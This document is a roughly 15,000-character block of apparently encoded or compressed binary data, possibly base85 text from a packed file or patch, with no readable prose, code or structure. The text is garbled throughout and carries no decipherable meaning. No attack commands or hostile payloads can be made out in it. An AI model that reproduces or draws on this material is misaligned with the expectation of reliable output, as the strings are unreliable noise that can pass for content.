zt^7w?t%{Kr8SL5K;;oaD(B2_AX=~#%%wlbG2kp|E7P&)e$BAiAQr()u*cKT^i}bhF z-Zf<`{sIL%W(cq4eBwlX z(Bd4u7yccoyZM{7JVuX3XEd!Kv(p`6TRcWv{6jv&?j5Er-W5-DA#JhB;urcY8NbQR zGG>#fWCq~v&H<5~9>}kf+5)Bzb7K*jD$(m-pTBSwI!btT0-c%Y--TR&+>-gf3!{m1 z2<~{*!TRuk%$aT$Hb0j6P``kFR?^;C^b+J31By!|bXW$QIy(n*$ z^<-?O$e9PPjG(?OurGY#h}oo^AhyZ$N@&u;bp$s zE~)w<_{G9_mEd0$#wqghK-&}C8Zv9SHE3()^#g6HTgYtoSC|We&dwm0oVRzCk@xdS zzn0vs!u#D@+`nppe45+;SulAAb+K_sv=Fp4@&$vF@?H%Xxyz@8D9mPko>Vz8)hduR zpKX#{$rB#um5EGRAO||Zsa~%ld>Q1vpj{^=&PVdahlm}Ui5EmpwvRlBP0nc>&M5dj zkmrGX0@{2D?j)5{U54|}{^#IT;85=SrAU1ihC9CD-tA+-9}B}LUb{{`k8`YB*G{BZcg;6pG2k=KK#z@I=O?ByVj#2=#Jqv?N6YEbI} z>}SDuf}aGA18D{Q1#%Mn7G}C&3hh;@yI_>oiBv*o6wE=Gc`y%x6Ua+!y=~NY3grf+ zH-K*oKNqGNOh>SYyo11rAo}JLZ~+WD9&&QO^ta>&>2C_(bPp`|mo>SY=S>FfNOxPx zh&CH#6>WM7dI!MKg6=XweWhR|z!@;0$J*O%A?Sm)Z|Bpi^Xbp|^zD3lyI=-+Ta#-Y z^4;Wm6>G@e_P{dw&!h7L%(awK7WrA^CrJGO#)YYa3vV0onS!5zw+-Oi!q0`N2GbENBJUvN z?@R5J-VQ@9^9i^B22C%Jdk8wWuyWw@oo=3>*(mD}(^Jqp0FD-PmkH`C1tS5@fB`*L zFK!D#A2b=HwuWDad^h~7=p%dEVV)=T2bgQIP!{=FgUty1KA6e)GZ<^g zrZId|as_o+3V#~@2AD2b=!@KtR1c;X%xdIm;6h5Q1^*YAbLgjl+3>^R4}%ZE3`AZJ zo&tXYiLjT0JQ9D1hL5KIIjKRd3$ULB-wA#aI1Z#0^cToU@LQPaf+@6DsqTVNS|?Ho zol!6cVdlX+2u>g`vGul5-zk(El->ZoE&N=VYA_waBJvIbCxYmkPrwB*=y-wLLohfY zZRcEzx*NEMwdhRb^Q=E-p;Jb9Zv)I?7*-datSKBn1N}whotU(1Gw*ens`P3;d93+X zPs1uj*ClTqoI4s=s11IwFj?=n_bI_%oB=B8#&D=Yi|%$^vjXAJ6`4TOtA>Bg0{Pn z$nT_$u7de5Qg>tLOPKoPjneubQHy^D&pxCs$ImIW=3UhKWAOE4woPR|adt?#UUMw$ zro;#E`2agk^mCVT^*H&gy~pRh-Au`4>%NG(FCuP>WNnFD7yO8)o3qH>Sa~i5PhvR+ z|0d5tL*cgz+7-ZDp4vvDKN1f`e`ew%@(M;_-ek|}P0HO3-b-q>pk7bi2jlJE#Iknr zb`<5_&CcNv%3X`K4aob@#J*dJcqZ&BTiQ-i=V0Lr$|^!$6Ut(36*`aNb02J;$CGm4 zt!U;G?TTRVba@H>M9A9cYv>vi|;CM;^?fy!W!^(Mtvqa@1kFwIyS;G z(bM0+AEd;})Or)Xb%0+O&J54kxgDKoA)}@koJJ|zu|}_mOoyjudgt)xR+v`Ue>j-U z7~`c#Z6@Q+zcZZQY$@(E`p-A?gucvpUy&;nZ|^2`27Tjx(U59=1&)1*foz@KaJmR3s~vG)PlC0Hm=vidYT1JAKnz~_bK ziQY2JdAe`TE&+Q2qN!SiGEdy{Oktm_=gM9IscE3HD>9MKqtj8wm+Zj1W5AQ(T5u}Z zU(h**Tm-HX)Pq46CLOsP7z4M#FCgy@-a8yK=Vayw&+ybUMr1b~IUT+Nm;oOZ)G<<{ zSSSF;2X8UtO^0@o6X>)=-iv%T5*7a=O{Iq*pA^*Pz?t}Vmeit9Gb;0yFct&-rsxZ^ zL-t!N-YK3VpFyr*R)PcZ_D*WC3=~=UH7vdw_y*IG)E2V)r1ub+3SL{wXiAwzYJbYD z8+an`Tx`UI-vaX`auIR?@>9qg@#-_=3cTrvvOnp<97A&q^=%2$J@6Cx74qiFw_E5K z%o%xW<1Qc${fW$8@!y+_=S}>pE%uY$QTMF>cbWgG-Fw*Ig8q7#sgmlZ`_(8*-X8I%-;0TF~hcSn#V$=`h7oBb^=al2^aZ zKI8`M%!BWa<;#Oy<`3kpj-O(=7dnIGjhI`Ho>1hq1I0plkzL-Gxek1R@Xkx%2Vf6& zCQqVY6S)YiM1(zbDhZ>NnJF_isTYXzH=bRyxr@k~O^t$m&cdL+mH9)2FRs1w#D z*Wy0%D*QYUdV7$Oh$m*%r1 zF!RuJ+}-d;X_t+`OeMRQZf`Ih{GQUAO0Tx#MRKj8_g0WSOg$Taa`0y`{=|^Wi8VVa zql{l>3_QsX#+|&Ab;g6aJdb}v-e=KI$QvJ9)aXs+6|ltE)sOt zf?EXbJYQD471^9a=RBn}M_!J6pWG?TGVprvJl~A88b9lZ>>Y-WaZkBP(B3J8xg6XH z-$M2|ttWza3%X0aKglQ))X&4e2L28FR?uTMGd=O-ahTD(0aV^u>%(3mwvig8YukUk zDwK5vd#Y*3KOqmr&&HJdgJ0eH=i9p9 z&CalRbuDc)-c*(Ks?^pbuZ1#wKXRX{>++{H14KZhwofKYo@P3f}rNE}VBlfq5j=7FjIKunu zH$3|k>Hh=&U!VnhQ{O+z`&0M4)X|*AewO6*ry}o_`=D2YR%oLKf!14nQ2zo-eBO{= z;qiXTy9%94(D@u}E$A+@Pd|?CA--7;MV=w(br7_*xXI#I;;q|47`slpNp|GKPaj5~ z1K$v9CPg2%sXr69>JlFt8HvxGE)=OLFRNyo3n%e{@@wBxN{qbVoYbJMFFDI;#>~D;O=PjFmH+5MLUPt_& zpqCa9w?ke%%e!LJn?&k3a0orB2B#Eqr7Y8&Hf>Jd?ijQtSdkt(lYagI{rn;1Pet|$ z>FsNoD-vjq#X{pihkm{doh|TH*h#(urXJQ#Q_3L5?_1Q;KBmYMy2`eu~J?Ht#b|-zQfC?gApOWbL<%d2FsH zb@@Qr)JzQKcCqF;^qGP5ic$2a1N5{Rp6&nURvAIIU!7y^H;Dcqck?3rk5W2o$mEaV zuM8gniz0TZ$bWgWm?9N8TO6 zJIBBTWkr$CAgA+mpN?h)&MJ(Bi6S2lOBemz(1KWQ$$shjV5b+IMDY9`oI1ert03=% z^`6i-!MgCBdFr3aKGhhk<)XQb)CKr(DDVnRp7GsPJoUTCQFIQ9zB&$bFZz{&+F`jR zUd7=XqkjM&Qt-1Qa$`!YhWr$o`_Xi;(*v*WC-pkyvH>5KC0I-xveCI8`E@L80OwIw z3pttKc1J%rp;3v{d$HLIoxw19q!!^-dCDpPUjjb>gFaJ}yg`JiwZ^7%0c+o&vk1(F z??K+~ys0k+&*9Hv@cW>x(JTY53`!x_K5#w!FH#q$2szku&OoyUeP%cO8g`ODevHa_ExYIH&{(pnh*Wm@Mm@K$>76~ad+lb2R-9wS$4e4Z2ZYH%3selPw6d(`Xk zAs7o4!18FGO)g_o=t! zotG{39H&xefd%X$<{@Vwr-RureZa-w8t@D!pvrLeW;rO{R;DgV&NIhlg{;oWUC%yU zmKEMRVex%V1sB8o0B+@M)mGUfRr}-#QB{_^n`*_5Xl<};@a>l&4&qD^ewq$2zaTF} zK7m{oSx#syVPQHD0r!T*Pc_`8wS^U{4dm5@xPI0UE1f5&V&$f1TeIqC**4(;SJ}GvrJPn+Q zPA5=eQa9qVMrzOV{_}$DlVnIMTX{OTNl?DK*YexJJgjFe*!<&q--|SFs<1nFLk=->1btrbpS)=ZyE{%=Q{VH&vc!+*JP_ zC40r$k}9iuXAL;sj7A=f{1Ea($S)zkgghI0Hg>Fi_hw4TFfUSzsmR~p+q>X*^t$qR z^_{G*yq)xrOXWT;{#YIPhOy#EFHquq3+G@j_2lgOe6NL|xyIsAIdAD4rLB+3*+Prb z-;PEykbBdgpS5_{e_q;1PHd{fM%t*l=_~U#Blj3%#Rz{X> z!3vVgXCGerp0mR{ivJ!cr*=D=L0~O#hM-@E)Z;MCyWRI7;5P=m-^W8r8n*kdY8HilwTWtU*1qB_bX=9@b{+Xa`sYs;5l^u z9O@|M|KJHi#@arZV)eAdnctWyPI^)eNk60cCbtq?#f>CvtKVvH^3! z$)NmVOmU(b)_w-@U+#uho{oGO_!D?5e0^m3Y}v6yI%}BTtX{IgpJ7IVm%;eR<-jAh z+-dmM2b?CQSga!qxRF)UKvMq*&KG|yFOiv(tj%ieT~KxsDkWqk&@#DH#*370@2R|D zNqh^+JBXa*1i=eS!3)w-)OXJX`TWQ+L2Kt*$qSB3$QX=ZEhCJK_?96xb%q2ecWRqz z(aopUsc7y?$jsR~xdGe-ejqks76&L^S-A}INJ{UG+?#b~H90pT*6cHv_^>i*pFN#x zNY%-4f{Cffa-ZFS&JH|0nvhk*1c|wtkVsl=%Zj2nDSiGGP8*!jRf7 z`L*<@!~@i^Dv>{q<%SkFC0>?MFZ%WwQ|5skFvUsko5EPRD)Mr0B1}VM`9#Btg!If6 z7r3h?Wjr>MI9r=lXw5>}MLr!9eB1tN!DPo!mN8N>eDf~z(k5hnsnrS2@WexulQuh$ z3&_hmZuM2LCWPm_hvL*h@GI5M_)sTJp0;?`{1MFbphP?gzUjXUcnGF>I6?*aR>|aM zkn;exT@~Zn+EmNXNrC5_mE)1h*`y?&FHp4wFK_}%wS%t#6MX9-rw-hFknc-$*J5X} z*w-=65xkIW!Bzv!N>5&M_v~C#@a^E=A1vNO5C>MXBn85#C#l4qSZ{hFp|RaiyVgjkf0YOID3}hWJQ9ON^sih0;e)A zaOUI!XKXHT3hn~!dx3sv$Dtr?>eiIH*mmDUOg71T3W#BPT^QP>ofN>ZO{iyHpKQN-JMoX0f4aqS~mN zRd3Zo4N+HzX%SUU#Z;!9p>I;Ts*h@^hN_xjT2z%+sVYk~Q`z=@d8fKo4O6wkv{I^q zl97FlYO6Y`zN(eF+x9dWLxDF{)a9y10wz*z)R=27= zHNZwIQX->aK3%x3@=-7E{&L zl`2D}tJb!^cTqjm?P`#x_3aM(F5G2;3{w} zSOjhv&@cZ!cQ?2fJOrKqPY)O{e589;P`h9ZEC*Hv>w-M# zd~gxC3|s}i4Xy(>fm;TSxM#TD1?~Y4g2%w(!9z#%(?5de1w9vxg7Lwl`VH{Pf|bGA zU?Z^A&=EuL^V)$O!ERt4*k|bId-A=3;4p9`I0hVVUF+vP2F?WMgG<0w`6K=~+F|hbPDdk5nA?W*H9F)_#@|*3KtBSuva_rdu_b9(Z5Vd3Z_ehdg?ltA?SZZKr zl}tNBG_tc!6FY}Av-3f7JHNEFb44pV`meX6w6z^?Z7$0Bze%ngmu3H>YYmyZO0JHo z_rI|Jom%HNvGi}CwzEYQRrPmBj!OMaO!*D;>}+?5ow>^Xf5_oV<=-M_2Nf$D#hT3C zD+Gh+mj`3NiB*3CT{|OR^&eavRr5D7?Kd%lNMB*+{wsfnB)=W@@6omQi(3EZwWlgj zZ>o1xk=m?ws6BS2dD5xwWH?QnR!+9l(dq8=at1p2&V9~I=UHcwv&>oLyzQ)aK617? zyPf^cG3T^%&UM`sH{Gr1R(I>Vjog-Q8#mYO=HBiOahJMgjrpF4SxEI=xA6(Yy3seMA@Qv!3#zUKy`~SJkWSWqQrM*2PN2HT_YBh zRby9;LwM@eID2(GuzGc?ppI9M2(R~r*S*2DX0za0CmvqMh1XrdHDgUMLNeY7|K1;7 z6T!89#qioJh-v+9;kAFrFAc97!fRM={qw=KL4}}}4Vr}4Z0h1Q=-FUMgYgY!@z<3N zYd5^UVb6vm8cuHbT*FljH#OYb@N8y!X5Gx}%)HDInNMae$XuQIaps{cl~pdQK~}r0 zK3QY4p3W-B3f9q1qq%|gM$d)UFt&}p3a*WV*g8#$g1?(q3a_D8+1H2Hlfkv!knlP; z=ppTvkiSB^h?VGjl(mucaqwVLmFKEB1{hsz`a$-3(a<0$G%egOS zR?gy_w{tcJrQW z&?|0{Z=th!ZdnxM?b0B;wh6Bz!fP0xu0sO-uJeQZU6%)O?Yb$bf7gTI^;mc<4)gsO zT)UMG@^`BdUf&F^w+{T(chuL$=1uZVgm&%R$ zX>Yc2qiv$LzeV$+dFrz0xafFQF8WAxg1S8Vc=T~qDLN@SMO_)46@5-sjeZwBt?HMq zQ@WnYDxFz6Q#C1ly!3I^H1>XMgK8EliWRBmsbx|xQ!P@rQ=`;4ey3rUde%PkE>(pW&4vfn33W!DcRVK+c~j}g^2mzF zU%3`U)^J@Jd5dddBl0~F zITJ?Yhp@-|7)Iu&FfwPu$ox!?ITyy~moPr(!?;`sbBDKPZ)D9z3CyYqlFe3GcNJbcu`e8&Ggb`^NMkF(gNEQ)k6h@?R7?CDnM4E;X zX%j7WDz4V-D?m909fyx3Md)87>B>OCF%Jd|d~wjp)1-1bnK9ou20w&?8)rP;Av zNTT;eD9z?uglpJmwdS@xI@B%B_(}RQqta% zlJ@wNArQh;se~Cv2N<2DP;?X}#JUUe3(cu!0j+A(G zw8W#6B_4fO;!$ylN2f|WvSZ(A;54v{{)(=gUc1V@if;vuDkrru_j*}Rp0-bhm8{>b zZNKiNM%W&`NG-Q>+!3qktC&t#uKQDJo^nl#kZBKdJB(fJrS`T`%P{R`(*E!(?Od4K zO0;{SZTObB3idg(26@g<&Z*R%HuYNa{6IOU$#Vy}f0ai{aLY-j(;+t|#DY-aLLR-zRzvf04?cQ3N(JC)SG-dBV+Z67=B$ea4Fer?nK zCI2L=VXMpqsQl0*WI7xErsnbF_q#!=}+PtfB*YeK%CMqfO3Y* ziQkXB82K=M$#Y~zXtgbV$(-q^iY1)nc=10eDLyvnm-?uGrIyj}_*MLB^33lnQk(TL zT~*iC8M=XPq?_r->=XEtda|CXXX;t@NqnxJuNUY=dWl}9m+J!iWWGwjso&P`==Hit zf223-t$K&vt@r5t`jEACLZ7rx>!(fawDaaVbA!3j++^CC_U2~O!Q5hQHGeR7m^;k? zbC++#+Y`^|&q5i`L&Zk{lc%oH=t%rH-x|1z`9Gv-fbp82zR-u%V9U|uq>m=)$V z^M?7WdE2Zt>&ynT$$V_Kn5|};*=fEqd(A;}#GEk2=8QRO&il&u{HP!E%lPSjS-*l` z(XZ@Z_>A~}#b?K#iO-8aAAceKV*I7}%kfv@E8?%k--vIF|0Dis{PXzE_?Kym z)0Uj`>-is;An<0`73&`+pRdXk=`QuGu(MU~bw^b9-eKBb>hsd~2U2XXz3 zenzF~d3v5Iqo3E$t4s6?`URD)U(zqBOZ6-I6;)Qhs$W%?=@oi~DyLWKm8!gcO~0lp z=r{Bm>T>;-eoIx1MjAX7Vf7>Kb#qxm`6keM}$K!t^)&RZBD23|7~gVfNXul^J11sO!uqGfG`=#+Whc z1~bl#Q?1Rz=3#ZCdDJ|r+L*`8W9lX|(M(j?=1KFUYHKE&$*P^1YNo38X1bZKa?DIK zQ{8N4nOQ2=JZ+v<9n2gvM|CuF&0N*VJZqj+oy~kRU)^G!Gta3mW`S9tx|)S%q3UK9 zo5ku@v(zkA-OX~dT=g)8rcm|#f9#!ioD{{@_fJ(%_wMX;*MLisBuPX-7=nO^2&jli z5)hFbmawp}%d#$th_E6e!V)A3;!4grgMj3mB?|}$f*@Q)K}CE{{bqJ{+V^_jn_l04 zp6$<`si|*wO?7vjUxlvjHkX^r=@oOOxssZ*53HkC&5h?TYMe1Z;F|SZ(^IP*<>SEqB zZ&FwD2lEGtH}9BtsGIq#`73ode>Z=p1k11t>S0A$QPk7&Sw2d%{Fa}Rtn5~H>Se`R zv6O7(wsKQ%>p|;5O0f!91?V-ah*gAAtzuR&>SGnRit9OdRtb8;DruFZzE)|gG`(q+ zvC2?CD_{laEvvj$p88uAt%~%vRmG}81FWi6RT^kjx2jW`Rl}-5?^w00S~SRNWwoMr zt#(#B8f?W`arB;*Y$ekW-xA*vdf&Iqw~U7RR{2)Z2ez;U4YN(#q~W&L_ENg-*ba@b zv)kEeq@B~wNu%rs?FVVJUBE6tAKHcO!ZgNy*nXJC+KWolk6w$Cuy?%wEZ-FY(HZ^LsRVM?dRze`$hXj%CH;S4e3+6iQR;z z+OOEJ&@{WH-IAu;ZSA%+!|rHzq?vXXy9>>-KJWO zr_?F>+&|4fjW+vd`Df7<|2+RZ+Uj5AUqsvd%lyk|yML8`747h^^RJ_w{*C^Pw9CK6 zzlC=DcldYE9{(=?F52tg=3<;H4b zy|KyIYV0)j8V8M|#tGw$ao)IOe8V-%b@Nf%y_eh z*~@&*e8YUpoMz54=b4MlW$Z6&%u?nCbF;bK+->eRj`HU*^OSkkykK57ubJPO-_jdh`oFG3sZK^yBs8yi3y z8$uf!ar^5bdI>7m82Z)(`qmVh_A)fB88qz`C|GkS*sD;m7ErL3P_R}|u+~tpHc+s( zP_TATu=dca4$!NP(5pD;RVV0GXXsTI=v7zfRXp^n8}zC>^eO>*)dPCf6MB^hy-I>c z^@2tvL!){_qf($wuR)Pgp-6q8NUuYM-hc}Ag$lh173v2SdJ8JlA1d@VRA>NHXdqN5 z4Jz~wRA>-X=v}DLV5rc0P@y4Eq4%LeL!m++K!t`ug@&`{6r&MFVdGJwtWm-E!T7)! zWsEl_8J`%_j9JDqW0kSa*vLMy&DdicFpe0}O6jXPR@(h2~N&hpWw!=4a;T<~DPexz9MlpI?|K%`eTb z%&*O><_+_2=8xvj=5Lm;Ov`II#uc-km6MewpVi%}WH#kc8>@rW+5F14g1ebfw$Jw4 zv371dpZ$S9ShZb%LscmQ-_S z&#Ta$7SNuS(4JP%p4QNwHqf57(4KbCp7zk54$z*C(4IJGPbX+kXJ}6sXiryYPdv1z z8?>i8v?l@D(*xSm6WWsq?MZ_6^n&&zLwkBdds3i1uR(iKp*?+|J+DK1-hlS>h4#D& z?db>Yc?;UpAKLRav}XXcXCSmE4chY#v}X{s=Ur&eU}(>K(4HaCp7)_WL!mt%KzoKk zdxk@M^gD&~Qj8uW3XUZCfAHV79x|@^f5w|C^q3I_7}(eJ$dZAPB@dVU3+!vxjB6By zvleZ|Tk-lDov2QVickt|r-O8gF41>%S4ciZxkMpRQdFcE%0>BkjS^IbDpFO<4y$MU z$mypUci0Xx_?NkV|0~;cYY0j6DeHB%Pg{N2*0lPueMYS&$vxM#Y(M;y6n{dBcah>R zNbw$0d><*kffV0Fifzr|($o$Q`Pm&c_avG*(k;O_JL(#0Do%w97@vkL2GzJrmF~bLZ zd-;3}*IOIcvci_0u`cv8#i=Sr1B+qpY`lgiysjs-rY6dGo6j-F2S2gB4Bq3;M^~qy zXViOq`*^D#jC58(Y^B-<*A9Lf*Ra(B-bxQidZ;7?sFHq$U3l)1Cw$I=qeZom&x^1a zWioJW*O<%cXAh2g8V?u`u$n(_yhvWNf?1K2S;c&kvRThrFH#Pxfz^caSIzA%xO)JtIyRodP<#DXQ`HdpZ_pD<3H)YLN8)M`+4N@6WFsDnKlr<2YU|3;Tn$ZU%3~4YR382*Nc<* zKb6D%D2+oyX(Wfog+?TUYwCBNRe{gcpn4o`%xTo1cGQ`}38B5LgS}Y?dmj5#$+(rZ zx4yj~dth&e_gR0t0lN(L!e4w8a$x^csXq?7$4z#|o-3IvnVzs%JDG1(+3O}%!SrN@b#b>qdUx{* zmc$DRs+u8T+i*BIc6Hz@F79?rl_rLPlYH0tw+Z}9OAP28LSz9Gwg6l8RZm&cMr zj>R~1;eC|;WhebCeVly^J@U7CRFKTtK&h3%`@|dJtKj4L!}*i%rK23cqryr@gr2q; zeL580CWwtZ-sL*qCM0Io(@!O`7e40|4BN$ax{^FA2LKWxRx{@5r60IZb+cFRNIkkyW zo+AiVO!d4kBkJ5UqC1~w5uA&vuG8a&D~(hU6P0(Bn&$#&qOVIGf%|a3R7k;?Qbn^Q z{?1jYyDGujRc>%dP+C%Px&1L*dbRmSpZXGuu&XnS7w=8;=~k5vd5k{0L0*4ft}y#L zX=dGh8G8fXX*$C-LwLM(++d&IJoLJQb@s6fdk@}qIum(Z$~=Mf&*S7{-;kYva{;$w zruaCEc_iyv>W-{E29I$jVMcW3;kb!;Fza0E?x@Qi7i;F@IH-A6ZJ*{5oy!0>W(M!L zn0Yg6_tMshV~2wpuT@6kIE{Jxb?S9^!V!DF%yGPVN5`eZxq?@a zN09qD6MbCEJhQfY>A)KJP<}b{`#7R`VeQD$>52Uv4^&3LxZ!?^V-NRXhC_$bIInt! zZAR%h`+o3s=5@Q{!sF6ofAj8&)7##P3j+_~<;0@K1I`}1zX zv1o#o9GT@K^VIvnnfFtNT2pw zGpF-}HXAWGqh0rVg`>jtiyV<*MD)*U(xJ-~M`$o4DXUj2mF2rtOO)l<7-ecmuJ)U6 zv3~iC+b?lMEP$Dz}tiKTxs5Kc3a*pR@cd^gC%izgCK6 zIZ*b<&?b#2W+~tN4eQ-Kf_j6_sCr1ks4%_Irjlpt<{n;gsgzl9eZ{uA`5W@JM@Ft? zP=>xmp|kcJr^ld@J!nV|mpu2t9l3Wu7xBK|`c7A%{iIcAv-(_sh`?ZdjM$;-d=I60 z(e*l%@1)gTT<>o6g+%b#Mp!Y%yD^3e_>#LAn&CP+ubU*5#;k39dm@Y>(7+l z4qk;(<8@skjH+`6l!!&wQryn(#7G9R$XiJ^;K$@n)5S^)+N{ba3C|!{XTcA0b4}RXNLAE-uFdZ!yTSF zc;@T;)bcgwSr~;&t`p(4C$0Pa?suzjTcEd?$$jJ=yfi#CX^>phI_HS+^Id^SMEpPI zqq20h$Yw2zqL;9a-H2~%rWG0|Srv_`1uebL{7NxZ`BnAVzaprT-o{y$r4<$U>I{C{ zuXE+$!q4O?jGtLL+;Vc>dT&BJ8wCutm#*Zr%HN!L>V-5$y?6fJc5?Ix+3!DUzbtaW zi^f1omhtluVr%56vHugq^1LihbAAe^GI1C%5j>9jPE0=XyELCC*Kz~=*|4v7 z{+$RFw7MG7&8kjBW*kS8- ztEgK*J)Y$I+Okv-CcT_3)T&3~F@k^yTCe&^U&@q>=Z`_6gOnq<`ru|AGg zP3&81n%A??i^uJ|8SBxfY1bjl@KC}b`nuv2WpXBC8Z-svJ|debm}&EKwfV<_ZZ-`v z=+(;EiC^5v!YE?KirNR}qX(4l*3hW&p2<<-=!#kw%$pspUDm~;1{b>)hU&s zdEgY!30bnoYSHJbah8dRjQ_~|@pk(?u&}EFW?u1RBJChGsF_7IV&6RF0ESZwHU@S#&s1tMWGb;9qehOoV<6FpxQ^TPH_%d<^Cbi^I z9%g-;9`~Cw zY@)+NPQk2nJ&mrt{g$`5omy|a_MY9AW?6;dc6vEPCUmFfophP7c~)i}pW!xc56SI#$RR+>T7n}0=T2qVWet3jV$~`Jv0xYjI)=ZW|4fxo`iXgi1S7CTzHDx#J zV*IA&G568qcqB(e%G{`#SseFlhK&uALdv>!gX&6&VZDK%Y@?ZWdO7R7g5px{7YTmc zIf|p(qAA7eyavh4=qGX>NvG5Uo+as!)e4)n0`OwEi5zuI zfUgt8G&8UunGgW@FjJ9O2u(U7=s+|wxO~e{Jljevr5Y10DJ>qKqW#F2JB&9-Xeq|1^b3`96DFAR{ z*omxkOy~hxG4%{Jh$i>|9!yQ78UmB{2rtMhY=AjK4Ymm@zzlNGxh3M`;1CV1#8641dr~rzXkD$PvCK+{h zumH?4#taU4J6r&JOyHgypgVyP8Q|P74%6cDei@+LyCj9e@&Oqxv8+VqLgP(A=U7LgeWCGYfP2g}(Z22uZA_(5heIqJ5vCAB6F@vBf(TQ02L(VLBg1gT z4p<=4Zv~jfj1VR3?!W@jV`yXh0-k1ppY0L_XE+Xzl!hxBYm7s%X{dY!GGR~Gzt<@T z9CkNM-*;6P>83&RA*A3izrjqSAe0=D`dz^iSk`=~ak6;*G5o;F3_2(`i3= z9F?df8mlNaPRs}J#71vJQ$$0X{jf5(4D*XbC3|x6HYYJRC#ysC1%B$k@nj5yU1(AE z<|uDY9@-tqis9&!M2&2+jR!CAU?OHpQfYKJrb$P=&-J#A&(G6XS!s7RD z4!-{EuDfG&aB^%f70C(Nd8s*{C#Iwp%g$B7F%YH)+m9aqdx;`M;*`}makT$=COr8i z_Hv8TKHGO+la2tBoAf5tmULUEdb!_6o-(8i_`b^)W_aQb@_ipac1)stt+r$kUr^9%v9jE>LD(;$>r1O3tsl3oi(f?;Sr;0xvC+<> zgr9z9=445F-C!ux(`&^uwt#Eia!?d* zSPsGupZjgy!FQ>TLy4q+=|2v8P!`yOQ&v@6_Ek$YLP#~j2)sta!diDC8`?5SjaCQB z_;d>6T5WgpLiNY{v@?W_G8PxXAKco#VUB@H!|@CqY#hJ2O~tcVrJJ^pykve1uL^m& z6Z9wQ87=g1fSOb#%vSQYC1JCn53eEWtL`K2-?j?HX2K8}DH1VE(xRz5yg(B!Q%#C?Rk3^?Y%Ke)R3et_=E#{7+#0E2n)_ zA8K20Pc~;aLJ>r@Jl}+QS+x2@F|?lUW7u3P#Dc7GAN9%MNX|nop1#b@wrL@)5AOmf zdH?X&@>uNF6l2Fw_{&(@JJPo{Mv3sZibdg<$EX8Zj}{}(t9`?}?tzNMy_aS^HuQR( z>iP%A0yhqoQj>wCy@}Y|$fBe0-IlDUaK0R^z1`0IOgy?%WzpZdzv^&xlrSAr1-o{q zM7X0xxbKIRb)JlxFdi{{uJqFakh7$7oV{pI%ogdXwowfwy9#<8MlwbcLpm-VUxy11 zCbG2EBVS4)j!L#vIp=iAiwH^zzo?V;=JcM6M(w2aWeYYl3Rw3t;DRwZ54ZV+$i*;~-{=APA~UNYx#g*6i;6U?yC z%_}h+c-*FANh*$QKEx!ze1^RrX?1pH9@S8-B{=S^Lt-fP6mA6 z+k3Wq36?-jI@P?!I9XG9hp$Brb5!)rZm4aesP<8Vgxz?2F~{TUoAuj?&nna;>$akR zYROUF+Qs18VaC0$nMBeVzjfiLrh>3G*{gjF)&8#$B;>nDW=E?*_a*E&->A=^)Es4V2c5-so^ zX^I8cmiAh<{k7c$Rd;;Hm{yFygqI&j!5YQ%95NQ$U8LcL#P z!j#THPwr#4kMQ)m&rg_IAsr>Y9u}!_v*So8t1y=tlBmJHN9F}o)D+6bdhdd8Yani` zO@W`mDeTV=8l5dy?57zQt}sT|gl8uw?>axWx6z*C63nMsOE8djD)vzsCNR_Bs7B#P ze9z08TC}jKW8R9ik%)`6ykVV=B$jAl9(Vu%n9Ojlfm@eZ8V6L*Eq=#i`-yEH2{*tw z;Ce#X=>{-%x1IpY;>+^SGRlg}5_+Kf-TU(gJ`69c3)@Kuvbh7@3D@Ff6>80RRR(za zr)TODmBnvWGlu3}RlCqx)7~6 zE(j-Di_TTYhJpdB@U0Lov?m;kr&YWLu03b|s|c+~E`leY76Yn643K&W{PkS|smGWP0C%?DhYwnHvUE+70s?pOqE zAh)JnoJSV;gVBI*?YW4E+<^nDYM-9s~z)% z6uND-cL22@%#)}w(kqK0t0K$I3sVEQHzvNATLJI;?kbklNbC4j5}uCv1-_)%P-I=( zHMeC0T5bm8M*XPLaE!YgY+a+#7tJ2hX&RZ$Aqx~Y>aRQ`6z{YCU{{XldC9@Eejdss zoFzPpuwQ~qwep%^ zpbq07F@>YT$41AUYf{#U?#r^@g@wF2PDxqJxZUQZpuCem$xu2-?c2%k+qt8@Y!lz? z5>3OccCT@pc_7Fnu!@`RkW|W%n3#n}8$C@Z{ap05!{Jfr*Oy0F`Uk6iq2Ct^U0tT{ z3J!bVUTM!p{I|FqmO5v#UA^6v5S{|4*|YV^4msxOeCh|y6bL2rK5br!gET4?I*-*f z?6m4M_jbQ5?4qyUSNSccskzxZj0=U*s8HMkgQO+WE>H&t0c^w;_e-ltPlPxNbmgaE zTD#E__Zp9v1!J5~s;LWYJ^p84xa9;&Tm`qem(fwy)y6WZzi)rK$bNfUZvKAG$$zl? zyu2g4w4NeZZWl{{KF-MZY!|gJ!D+`Mk^J=QDj6ZKC6n5nNIL?#vhMAnSl_`lVL85} zlGY(_H;#9ALGP&kEo%MztodnphT2x|?XBFWl8uq~y(-Py0WgGvq)M-J?cdlmy7+wC z`yArzzOQrIdOpAIP~zB)-~KGv%*TE|ij9p;%{cMaqMMb5UvhGw;+aLMzHheRlhs@} z?>8^EJ&f4q`3v^3*7^M?lcl$Gq4`auwq-#uyt92U`*fiw+?kgwbd%o|4X3VkF6SpI zTtQ>US#~UNKmRjxxa360=czij&0SI>NZ1Qv`d@s_eB4Fu9Y>rEuVYVkqRoXg^x5ZD zx^MGB2|1wR{O+L5kULabmuEu*_3=hFvk&aI3#Pv@Y~8(51t(Q1FJcOPHu}5ZuqVv< zI3H3gsHvq@N0LrcGQJi_?zz*;f}|u5(|7bDa8eD%oGOhoKfTR2n5z!%nRhmcMS^4B*09+MFj>YIH8LGT-arX#waqynSa; z6%k-LxzZ;Yzpb`)qJQb+-Mn=%7r=7-H4|)4`idP7wQ6xIIJe}^m#|6za)BLbYEfg7 zKyH;ZbTJAKBbRi-5(=$+$G;p1Pcsk~epD|Oh}~L)o+$Ds!5fK_Scb&V0-5GMr}4_g z^Za>D@a)v_J?$~`dNlPhW8bx7;yk07phUP{a^b|@c~4TY;lN#u)uw+P|NrL4ACO42R?CyZh@>Fv?^Xn7O5T9i&4LB&iMvk-Rme9 z1qZ$@ZflQdVyUi2u1XB#C*p9xdq7*hzkIH;K>gX|n8i&3#hfB22R8#YDpXbUeq^2{Z zjnzKS&>=Hq-}^K(XTv}-8G(l{bUgSBW(Kf?-WJ|u3Lg$%M%Ovf1%V=m|FZ^D7^qg& zIGA(l`Xgr=5lT`BIYRksmFpAO4>=vws7!PK*d!!5Hy(<+l`V}9R@DROFJ=%FDF~Rz z`L}2ga7XM>6Q;25pDr{*gpEJJS4sT3A+Wh zvGBFGa_`+-9ltkar=|~C zC=5M|Fa^Otr^LU35uJt8fWRF9) 